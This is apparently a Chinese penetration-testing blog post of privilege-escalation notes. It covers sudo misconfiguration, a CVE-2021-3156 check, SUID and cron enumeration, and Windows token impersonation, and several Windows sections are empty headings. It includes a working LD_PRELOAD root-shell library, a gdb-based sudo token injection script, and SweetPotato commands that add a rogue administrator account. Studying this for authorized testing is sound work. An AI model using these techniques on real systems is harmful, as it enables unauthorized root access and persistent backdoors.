目录

  1. 1. 前言
  2. 2. Linux提权
    1. 2.1. sudo提权
      1. 2.1.1. 权限配置不当
      2. 2.1.2. CVE-2021-3156
    2. 2.2. suid提权
    3. 2.3. 明文root密码提权
    4. 2.4. 计划任务提权
  3. 3. Windows提权
    1. 3.1. 系统内核漏洞
    2. 3.2. 系统服务提权
    3. 3.3. MSI 安装策略提权
    4. 3.4. Potato家族
      1. 3.4.1. 详细原理
      2. 3.4.2. SweetPotato
    5. 3.5. Bypass UAC
    6. 3.6. 用户凭据
    7. 3.7. Print Spooler
    8. 3.8. Nopac
    9. 3.9. Certifried

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

权限提升

2024/4/19 渗透 提权
  |     |   总文章阅读量:

前言

参考:

https://www.freebuf.com/articles/system/377304.html

https://www.cnblogs.com/yokan/p/16300797.html

https://www.cnblogs.com/yuy0ung/articles/18421480

https://www.cnblogs.com/xiaoxin07/p/18103386

https://www.cnblogs.com/kqdssheng/p/18738762

提权辅助工具:https://github.com/mzfr/gtfo


Linux提权

sudo提权

在 Linux/Unix 中,/etc/sudoers 文件是 sudo 权限的配置文件,其中储存了一些用户或组可以以 root 权限使用的命令

查看当前 sudo 权限

sudo -l

读取配置文件(需要高权限)

cat /etc/sudoers

权限配置不当

当配置普通用户 sudo 权限时,设置了免密的 sudo 用户,即该用户不需要输入口令即可执行特权命令

利用思路:

  • 免密使用 sudo 权限执行某些命令,重新获取一个 root 身份的shell
  • 某些工具允许免密 sudo 运行,且能够运行脚本/配置文件,可以修改脚本/配置文件实现获取一个 root 身份的shell
  • 免密使用 sudo 权限执行某些命令,获取 /etc/shadow 第一行 root 的密码哈希,再进行爆破获取明文密码
  • 免密使用 sudo 权限执行某些命令,用新的 root 密码哈希覆盖掉原本的 /etc/shadow

具体的提权方式:

  • 脚本篡改:免密 sudo 执行某些可用的高权限脚本

  • 脚本参数:脚本无可写权限,但是接收参数,可以以高权限执行低权限写入的脚本

  • 绕过路径:配置 sudoers 时对目录使用了通配符,可使用 .. 进行目录穿越

  • LD_PRELOAD:需要配置env_keep+=LD_PRELOAD在 sudo 执行时保留 LD_PRELOAD 环境变量

    #include<stdio.h>
    #include<sys/types.h>
    #include<stdlib.h>
    void _init(){
    	unsetenv("LD_PRELOAD"); //不让环境变量重置,保持使用现在的共享库
    	setresuid(0,0,0);
    	system("/bin/bash -p");
    }
    
    // gcc -shared -fPIC -o shell.so shell.c -nostartfiles
    // sudo LD_PRELOAD=/tmp/shell.so 免密sudo命令
  • caching提权

    用户第一次使用sudo命令时,系统会提示用户输入密码,然后将用户的身份验证信息缓存起来,通常在 15 分钟内(可以通过在配置文件中修改 timestamp_timeout 参数来修改缓存时间)。用户在此时间内无需再次输入密码就可以执行 sudo 命令,从而提高效率。不过,sudo 缓存也有一些安全风险。如果渗透测试人员能够获得此用户的权限,那么在 sudo 缓存时间内,他们就可以无须输入密码执行sudo命令,从而获得更高的权限

    sudoers文件中有三个参数与之有关,分别是 !authenticatetimestamp_timeout=-1!tty_tickets

    • authenticate 参数用于配置使用 sudo 命令时是否需要输入密码。如果启用了 authenticate 参数,则用户在使用 sudo 命令时需要输入密码;如果禁用了 authenticate 参数,则用户在使用 sudo 命令时无需输入密码。当在参数前添加符号“!”时,表示该参数被禁用
    • timestamp_timeout 参数用于设置在使用 sudo 命令时的超时时间。如果设置了 timestamp_timeout 参数,则在指定的时间间隔内,用户无需再次输入密码即可使用 sudo 命令。当 timestamp_timeout 参数设置为 -1 时,意味着用户在当前终端窗口永远不需要输入密码
    • tty_tickets 参数用于启用或禁用 TTY(teletype,终端)票据功能。如果启用了 TTY 票据功能,则用户在每个终端上执行 sudo 命令时都需要输入密码;如果禁用了 TTY 票据功能,则用户在使用 sudo 命令时只需要输入一次密码,在其他终端中无需再输入
  • 令牌进程注入提权:https://github.com/nongiach/sudo_inject

    当用户使用 sudo 执行命令后,会在 /var/run/sudo/ts 目录中创建一个带有用户名的时间戳文件。此文件包含有关用户身份验证成功或失败的信息。sudo 程序使用此信息来跟踪已通过身份验证的进程,以便在需要时提供适当的权限

    Linux 系统在文件 /proc/sys/kernel/yama/ptrace_scope 中配置了用于控制进程追踪(Process Tracing)的权限,进程追踪是一种调试技术,它允许一个进程检查和控制另一个进程的执行

    • 当文件内容为 0 时,允许所有进程被追踪;
    • 当文件内容为 1 时,只允许父进程对子进程进行追踪;
    • 当文件内容为 2 时,禁止所有进程被追踪。

    如果当前系统的 ptrace_scope 值设置为 0,并且此时有用户使用 sudo 来执行命令,则可以尝试激活 /var/lib/sudo/ts/ 目录下的所有 sudo 会话的令牌,注入具有有效 sudo 令牌的进程并激活我们自己的 sudo 令牌

    #!/bin/sh
    
    # create an invalid sudo entry for the current shell
    echo | sudo -S >/dev/null 2>&1
    echo "Current process : $$"
    cp activate_sudo_token /tmp/
    chmod +x activate_sudo_token
    # timestamp_dir=$(sudo --version | grep "timestamp dir" | grep -o '/.*')
    # inject all shell belonging to the current user, our shell one :p
    for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" | grep -v "^$$\$")
    do
            echo "Injecting process $pid -> "$(cat "/proc/$pid/comm")
            echo 'call system("echo | sudo -S /tmp/activate_sudo_token /var/lib/sudo/ts/* >/dev/null 2>&1")' \
                    | gdb -q -n -p "$pid" >/dev/null 2>&1
    done

    这段代码的效果是,在执行sudo命令时需要输入密码的情况下调用/tmp/activate_sudo_token程序,注入所有正在运行的 Shell 进程中,并传入/var/lib/sudo/ts/目录下,所有文件的路径为此程序参数,并且不会有其他输出,直到寻找到有效的 sudo 令牌进程,最后使用此 sudo 命令激活当前进程

    在脚本完成注入后执行sudo -i即可完成提权

CVE-2021-3156

参考:https://help.aliyun.com/zh/ecs/product-overview/vulnerability-announcement-or-linux-sudo-permission-vulnerability

受影响版本:1.8.2 - 1.8.31p2、1.9.0 - 1.9.5p1

检验方法:

以非root用户登录系统,并运行如下命令:

sudoedit -s /
  • 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

  • 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

题目:https://c1oudfl0w0.github.io/blog/2024/02/14/NSSCTF-Round-18/#Becomeroot-%E5%A4%8D%E7%8E%B0


suid提权

SUID (Set UID) 是 Linux 中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有 SUID 权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是 SUID 权限的设置只针对二进制可执行文件,对于非可执行文件设置 SUID 没有任何意义。

在执行过程中,调用者会暂时获得该SUID文件的所有者权限,且该权限只在程序执行的过程中有效

使用以下命令查找具有 SUID 权限位文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

然后参考可利用的二进制文件:https://gtfobins.github.io/


明文root密码提权

需要 /etc/shadow 可读

利用john对shadow文件中的哈希密码进行爆破


计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。

列出计划任务

ls -l /etc/cron*
cat /etc/crontab 

寻找权限配置为 777 即 -rwxrwxrwx 的计划任务


Windows提权

可利用的二进制文件:https://lolbas-project.github.io/

系统内核漏洞

systeminfo

查看已安装的系统补丁


系统服务提权


MSI 安装策略提权


Potato家族

仅当前帐户有权模拟安全令牌时才能执行此操作。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,因此这个提权方式通常适用于大多数服务帐户,而不适用于大多数用户级帐户。

详细原理

前提:用户拥有 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege 权限,可通过查看当前用户与相关特权进行手动枚举

whoami /priv

以下用户拥有 SeImpersonatePrivilege 权限:

  • 本地管理员账户 (不包括管理员组普通账户) 和本地服务账户
  • 由 SCM 启动的服务

只有更高权限的账户比如 SYSTEM 才有 SeAssignPrimaryTokenPrivilege 权限

而 Windows 服务的登陆账户有:

  • Local System(NT AUTHORITY\SYSTEM)
  • Network Service(NT AUTHORITY\Network Service)
  • Local Service(NT AUTHORITY\Local Service)

该提权就是把 Administrator 或者 Service 提到 SYSTEM

Windows Token 是描述安全上下文的对象,用户登陆后系统就会生成 token,创建新进程或新线程时这个 token 会不断拷贝

Token 成员:

  • 用户账户的 SID
  • 用户所属的组的 SID
  • 用于标识当前登陆会话的登陆 SID
  • 用户或用户组所拥有的权限列表
  • 所有者 SID
  • 所有者组的 SID
  • 访问控制列表
  • 访问令牌的来源
  • 主令牌/模拟令牌
  • 限制 SID 的可选列表
  • 模拟等级:
  • Anonymous: server 无法模拟或识别 client
  • Identification: 可识别 client 的身份和特权,不能模拟
  • Impersonation: 可在本地系统模拟
  • Delegation: 可在远程系统上模拟

当用户具有 SeImpersonatePrivilege 特权,则可以调用 CreateProcessWithTokenW 以某个Token的权限启动新进程
当用户具有 SeAssignPrimaryTokenPrivilege 特权,则可以调用 CreateProcessAsUserW 以Token权限启动新进程

SweetPotato

从Windows 7到Windows 10 / Server 2019的本地服务到系统权限提升漏洞

集成了大部分土豆家族的功能

参考:https://cloud.tencent.com/developer/article/2249965

项目地址:https://github.com/CCob/SweetPotato

用法:

SweetPotato.exe -a "whoami"

提升到 SYSTEM 权限后可以执行绝大多数高权限命令,如创建用户

SweetPotato.exe -a "net user 0w0 qwer1234! /add"
SweetPotato.exe -a "net localgroup administrators 0w0 /add"

Bypass UAC


用户凭据



Nopac


Certifried